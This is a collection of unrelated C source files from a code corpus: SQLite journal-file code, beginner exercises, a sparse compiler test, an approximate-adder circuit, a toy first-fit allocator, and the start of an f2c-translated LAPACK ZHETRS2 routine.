jrnlFileSize(sqlite3_file *pJfd, sqlite_int64 *pSize){ int rc = SQLITE_OK; JournalFile *p = (JournalFile *)pJfd; if( p->pReal ){ rc = sqlite3OsFileSize(p->pReal, pSize); }else{ *pSize = (sqlite_int64) p->iSize; } return rc; } /* ** Table of methods for JournalFile sqlite3_file object. */ static struct sqlite3_io_methods JournalFileMethods = { 1, /* iVersion */ jrnlClose, /* xClose */ jrnlRead, /* xRead */ jrnlWrite, /* xWrite */ jrnlTruncate, /* xTruncate */ jrnlSync, /* xSync */ jrnlFileSize, /* xFileSize */ 0, /* xLock */ 0, /* xUnlock */ 0, /* xCheckReservedLock */ 0, /* xFileControl */ 0, /* xSectorSize */ 0 /* xDeviceCharacteristics */ }; /* ** Open a journal file. */ int sqlite3JournalOpen( sqlite3_vfs *pVfs, /* The VFS to use for actual file I/O */ const char *zName, /* Name of the journal file */ sqlite3_file *pJfd, /* Preallocated, blank file handle */ int flags, /* Opening flags */ int nBuf /* Bytes buffered before opening the file */ ){ JournalFile *p = (JournalFile *)pJfd; memset(p, 0, sqlite3JournalSize(pVfs)); if( nBuf>0 ){ p->zBuf = sqlite3MallocZero(nBuf); if( !p->zBuf ){ return SQLITE_NOMEM; } }else{ return sqlite3OsOpen(pVfs, zName, pJfd, flags, 0); } p->pMethod = &JournalFileMethods; p->nBuf = nBuf; p->flags = flags; p->zJournal = zName; p->pVfs = pVfs; return SQLITE_OK; } /* ** If the argument p points to a JournalFile structure, and the underlying ** file has not yet been created, create it now. */ int sqlite3JournalCreate(sqlite3_file *p){ if( p->pMethods!=&JournalFileMethods ){ return SQLITE_OK; } return createFile((JournalFile *)p); } /* ** Return the number of bytes required to store a JournalFile that uses vfs ** pVfs to create the underlying on-disk files. */ int sqlite3JournalSize(sqlite3_vfs *pVfs){ return (pVfs->szOsFile+sizeof(JournalFile)); } #endif
the_stack_data/156392938.c
// Own example // Page: 18 // Attribution: C in a Nutshell, 2nd Edition by Peter Prinz and Tony Crawford (Oeilly). // © 2016 Peter Prinz, Tony Crawford, 978-1-491-90475-6 // File: scope.c // Created: 2021-09-09 // Updated: 2021-09-09 // Revised by: Niklas Engvall // Description: An example where I test variables scope or how they survive in the file, blocks and functions occure. // Remark that the printed value differs from what you can expect, that's caused by our conversion from // double to long, a double variable that multiplies 2.5 * 2.5, returns 6.25 but a variable of type long // can only store the integer value and no deciml numbers, thats why x first becomes 6 and later 12. #include <stdio.h> // Global variable declarations double x; // Function prototype long calc( double x ); // Prototypes variable declaration doesn't need to be the same as the function declarations int main() { long x = calc(2.5); // Declare a long variable x with block scope printf("long x = %ld\n", x); // %ld means print value as a long int if( x < 0 ) // Here x refers to the block declared long x variable { float x = 0.0F; // Declare a new block float x variable, this line won't execute due to x is not lesser than 0 // Compiler can return warnings/problems about this, just ignore those for now } x *= 2; // Here x again refers to the block declared long x variable printf("after operation x *= 2, long x = %ld\n", x); return 0; } // Function declaration long calc( double value ) // The argument variable name differs from the prototype { return value * value; // Returns the square of the value }
the_stack_data/59512111.c
int foo(void); int foo(void) { int r; r = ({ goto label; label: 1; }); return r; } /* * check-name: label-stmt-expr0 * check-command: test-linearize $file * check-output-ignore * * check-output-excludes: ret\\.32\$ * check-output-contains: ret\\.32 *\\$1 */
the_stack_data/115187.c
#include <stdio.h> int main( int argc, char *argv[] ) { float f = 7; printf("%.2f\n", f); return 0; }
the_stack_data/89199716.c
/* Um time de futebol, visando aumentar o rendimento de seus atletas, decidiu criar um prog. de eficiencia. Durante o desenvolvimento do programa, um vetor foi criado para armazenar a altura do time de 11 jogadores. Crie esse vetor. */ #include<stdlib.h> #include<stdio.h> int main() { float altura_jogadores[11]; system("PAUSE"); return 0; }
the_stack_data/86076334.c
#include<stdio.h> int main() { int number; scanf("%d", &number); // Check if remainder is 0 in both cases when dividing by 2 and 7 if((number % 2 == 0) && (number % 7 == 0)) { printf("The number is divisible by 2 and 7\n"); } else printf("The number is NOT divisible by 2 and 7\n"); return 0; }
the_stack_data/265622.c
/*** * This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License. * When used, please cite the following article(s): V. Mrazek, Z. Vasicek and R. Hrbacek, "Role of circuit representation in evolutionary design of energy-efficient approximate circuits" in IET Computers & Digital Techniques, vol. 12, no. 4, pp. 139-149, 7 2018. doi: 10.1049/iet-cdt.2017.0188 * This file contains a circuit from a sub-set of pareto optimal circuits with respect to the pwr and mse parameters ***/ // MAE% = 0.00 % // MAE = 0 // WCE% = 0.00 % // WCE = 0 // WCRE% = 0.00 % // EP% = 0.00 % // MRE% = 0.00 % // MSE = 0 // PDK45_PWR = 0.052 mW // PDK45_AREA = 106.1 um2 // PDK45_DELAY = 0.96 ns #include <stdint.h> #include <stdlib.h> uint64_t add12u_19A(uint64_t a, uint64_t b) { uint64_t o = 0; int n_415=0, n_414=0, n_36=0, n_349=0, n_42=0, n_37=0, n_314=0, n_315=0, n_23=0, n_22=0; int n_21=0, n_20=0, n_27=0, n_26=0, n_25=0, n_24=0, n_248=0, n_29=0, n_28=0, n_48=0; int n_249=0, n_81=0, n_80=0, n_149=0, n_148=0, n_67=0, n_66=0, n_214=0, n_129=0, n_128=0; int n_39=0, n_38=0, n_102=0, n_380=0, n_381=0, n_181=0, n_180=0, n_8=0, n_9=0, n_115=0; int n_4=0, n_5=0, n_6=0, n_7=0, n_0=0, n_1=0, n_2=0, n_3=0, n_30=0, n_31=0; int n_32=0, n_33=0, n_34=0, n_35=0, n_18=0, n_19=0, n_16=0, n_17=0, n_14=0, n_15=0; int n_12=0, n_13=0, n_10=0, n_11=0, n_114=0, n_45=0, n_58=0, n_59=0, n_44=0, n_43=0; int n_47=0, n_348=0, n_280=0, n_215=0, n_46=0, n_281=0, n_41=0, n_40=0; n_0 = (a >> 0) & 0x1; n_1 = (a >> 0) & 0x1; n_2 = (a >> 1) & 0x1; n_3 = (a >> 1) & 0x1; n_4 = (a >> 2) & 0x1; n_5 = (a >> 2) & 0x1; n_6 = (a >> 3) & 0x1; n_7 = (a >> 3) & 0x1; n_8 = (a >> 4) & 0x1; n_9 = (a >> 4) & 0x1; n_10 = (a >> 5) & 0x1; n_11 = (a >> 5) & 0x1; n_12 = (a >> 6) & 0x1; n_13 = (a >> 6) & 0x1; n_14 = (a >> 7) & 0x1; n_15 = (a >> 7) & 0x1; n_16 = (a >> 8) & 0x1; n_17 = (a >> 8) & 0x1; n_18 = (a >> 9) & 0x1; n_19 = (a >> 9) & 0x1; n_20 = (a >> 10) & 0x1; n_21 = (a >> 10) & 0x1; n_22 = (a >> 11) & 0x1; n_23 = (a >> 11) & 0x1; n_24 = (b >> 0) & 0x1; n_25 = (b >> 0) & 0x1; n_26 = (b >> 1) & 0x1; n_27 = (b >> 1) & 0x1; n_28 = (b >> 2) & 0x1; n_29 = (b >> 2) & 0x1; n_30 = (b >> 3) & 0x1; n_31 = (b >> 3) & 0x1; n_32 = (b >> 4) & 0x1; n_33 = (b >> 4) & 0x1; n_34 = (b >> 5) & 0x1; n_35 = (b >> 5) & 0x1; n_36 = (b >> 6) & 0x1; n_37 = (b >> 6) & 0x1; n_38 = (b >> 7) & 0x1; n_39 = (b >> 7) & 0x1; n_40 = (b >> 8) & 0x1; n_41 = (b >> 8) & 0x1; n_42 = (b >> 9) & 0x1; n_43 = (b >> 9) & 0x1; n_44 = (b >> 10) & 0x1; n_45 = (b >> 10) & 0x1; n_46 = (b >> 11) & 0x1; n_47 = (b >> 11) & 0x1; n_48 = n_0 ^ n_24; n_58 = n_0 & n_24; n_59 = n_58; n_66 = n_59; n_67 = n_66; n_80 = n_2 ^ n_26 ^n_67; n_81 = (n_2 & n_26) | (n_26 & n_67) | (n_2 & n_67); n_102 = n_81; n_114 = n_4 ^ n_28 ^n_102; n_115 = (n_4 & n_28) | (n_28 & n_102) | (n_4 & n_102); n_128 = n_115; n_129 = n_128; n_148 = n_6 ^ n_30 ^n_129; n_149 = (n_6 & n_30) | (n_30 & n_129) | (n_6 & n_129); n_180 = n_8 ^ n_32 ^n_149; n_181 = (n_8 & n_32) | (n_32 & n_149) | (n_8 & n_149); n_214 = n_10 ^ n_34 ^n_181; n_215 = (n_10 & n_34) | (n_34 & n_181) | (n_10 & n_181); n_248 = n_12 ^ n_36 ^n_215; n_249 = (n_12 & n_36) | (n_36 & n_215) | (n_12 & n_215); n_280 = n_14 ^ n_38 ^n_249; n_281 = (n_14 & n_38) | (n_38 & n_249) | (n_14 & n_249); n_314 = n_16 ^ n_40 ^n_281; n_315 = (n_16 & n_40) | (n_40 & n_281) | (n_16 & n_281); n_348 = n_18 ^ n_42 ^n_315; n_349 = (n_18 & n_42) | (n_42 & n_315) | (n_18 & n_315); n_380 = n_20 ^ n_44 ^n_349; n_381 = (n_20 & n_44) | (n_44 & n_349) | (n_20 & n_349); n_414 = n_22 ^ n_46 ^n_381; n_415 = (n_22 & n_46) | (n_46 & n_381) | (n_22 & n_381); o |= (n_48 & 0x01) << 0; o |= (n_80 & 0x01) << 1; o |= (n_114 & 0x01) << 2; o |= (n_148 & 0x01) << 3; o |= (n_180 & 0x01) << 4; o |= (n_214 & 0x01) << 5; o |= (n_248 & 0x01) << 6; o |= (n_280 & 0x01) << 7; o |= (n_314 & 0x01) << 8; o |= (n_348 & 0x01) << 9; o |= (n_380 & 0x01) << 10; o |= (n_414 & 0x01) << 11; o |= (n_415 & 0x01) << 12; return o; }
the_stack_data/482792.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <limits.h> struct chunk { int size; int inUse; struct chunk *next; }; struct chunk *flist = NULL; // malloc() implementation using first-fit strategy void *malloc (size_t size) { if (size == 0){ return NULL; } struct chunk *curr = flist; struct chunk *prev = NULL; // find the first-fit chunk while (curr != NULL) { if (curr->size >= size) { curr->inUse += size; // unlink the fit chunk if (prev != NULL) { prev->next = curr->next; } else { flist = curr->next; } // skip the header // return the data chunk to the user return (void *) (curr + 1); } else { prev = curr; curr = curr->next; } } // if no fit chunk is found // allocate the desired size of memory and an additional header chunk void *memory = sbrk (size + sizeof(struct chunk)); if (memory == (void *) - 1){ return NULL; } else { struct chunk *cnk = (struct chunk *) memory; cnk->size = size; cnk->inUse = size; return (void *) (cnk + 1); } } void free(void *memory) { if (memory != NULL) { // add the header to free list struct chunk *header = (struct chunk *) ((struct chunk *) memory - 1); header->inUse = 0; header->next = flist; flist = header; } return; } void fragstats(void* buffers[], int len) { int freeCnks = 0, inuseCnks = 0, unusedMemInUsedCks = 0, totalSizeFree = 0; int largestUnusedMemInUsedChunk = INT_MIN, smallestUnusedMemInUsedChunk = INT_MAX; int freeLargestSize = INT_MIN, freeSmallestSize = INT_MAX; for (int i = 0; i < len; i++) { if(buffers[i] != NULL) { inuseCnks++; struct chunk * currUsedCnk = (struct chunk *) ((struct chunk*) buffers[i] - 1); int unusedMem = currUsedCnk->size - currUsedCnk->inUse; unusedMemInUsedCks += unusedMem; if (unusedMem > largestUnusedMemInUsedChunk) { largestUnusedMemInUsedChunk = unusedMem; } if (unusedMem < smallestUnusedMemInUsedChunk) { smallestUnusedMemInUsedChunk = unusedMem; } } } struct chunk *curr = flist; while (curr != NULL) { freeCnks++; if (curr->size > freeLargestSize) { freeLargestSize = curr->size; } if (curr->size < freeSmallestSize) { freeSmallestSize = curr->size; } totalSizeFree += curr->size; curr = curr->next; } printf("Total blocks: %d\t Free: %d\t Used: %d\n", freeCnks + inuseCnks, freeCnks, inuseCnks); printf("Internal unused: total: %d\t average: %f\t smallest: %d\t largest: %d\n", unusedMemInUsedCks, (float) unusedMemInUsedCks / inuseCnks, smallestUnusedMemInUsedChunk, largestUnusedMemInUsedChunk); printf("External unused: total: %d\t average: %f\t smallest: %d\t largest: %d\n", totalSizeFree, (float) totalSizeFree / freeCnks, freeSmallestSize, freeLargestSize); }
the_stack_data/181394530.c
#include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; #ifdef _MSC_VER static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;} static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;} static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;} static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;} #else static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #endif #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #ifdef _MSC_VER #define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);} #define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/Cd(b)._Val[1]);} #else #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #endif #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimagf(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #ifdef _MSC_VER static _Fcomplex cpow_ui(complex x, integer n) { complex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i; for(u = n; ; ) { if(u & 01) pow.r *= x.r, pow.i *= x.i; if(u >>= 1) x.r *= x.r, x.i *= x.i; else break; } } _Fcomplex p={pow.r, pow.i}; return p; } #else static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif #ifdef _MSC_VER static _Dcomplex zpow_ui(_Dcomplex x, integer n) { _Dcomplex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1]; for(u = n; ; ) { if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1]; if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1]; else break; } } _Dcomplex p = {pow._Val[0], pow._Val[1]}; return p; } #else static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static doublecomplex c_b1 = {1.,0.}; /* > \brief \b ZHETRS2 */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download ZHETRS2 + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zhetrs2 .f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zhetrs2 .f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zhetrs2 .f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE ZHETRS2( UPLO, N, NRHS, A, LDA, IPIV, B, LDB, */ /* WORK, INFO ) */ /* CHARACTER UPLO */ /* INTEGER INFO, LDA, LDB, N, NRHS */ /* INTEGER IPIV( * ) */ /* COMPLEX*16 A( LDA, * ), B( LDB, * ), WORK( * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > ZHETRS2 solves a system of linear equations A*X = B with a complex */ /* > Hermitian matrix A using the factorization A = U*D*U**H or */ /* > A = L*D*L**H computed by ZHETRF and converted by ZSYCONV. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] UPLO */ /* > \verbatim */ /* > UPLO is CHARACTER*1 */ /* > Specifies whether the details of the factorization are stored */ /* > as an upper or lower triangular matrix. */ /* > = 'U': Upper triangular, form is A = U*D*U**H; */ /* > = 'L': Lower triangular, form is A = L*D*L**H. */ /* > \endverbatim */ /* > */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The order of the matrix A. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] NRHS */ /* > \verbatim */ /* > NRHS is INTEGER */ /* > The number of right hand sides, i.e., the number of columns */ /* > of the matrix B. NRHS >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] A */ 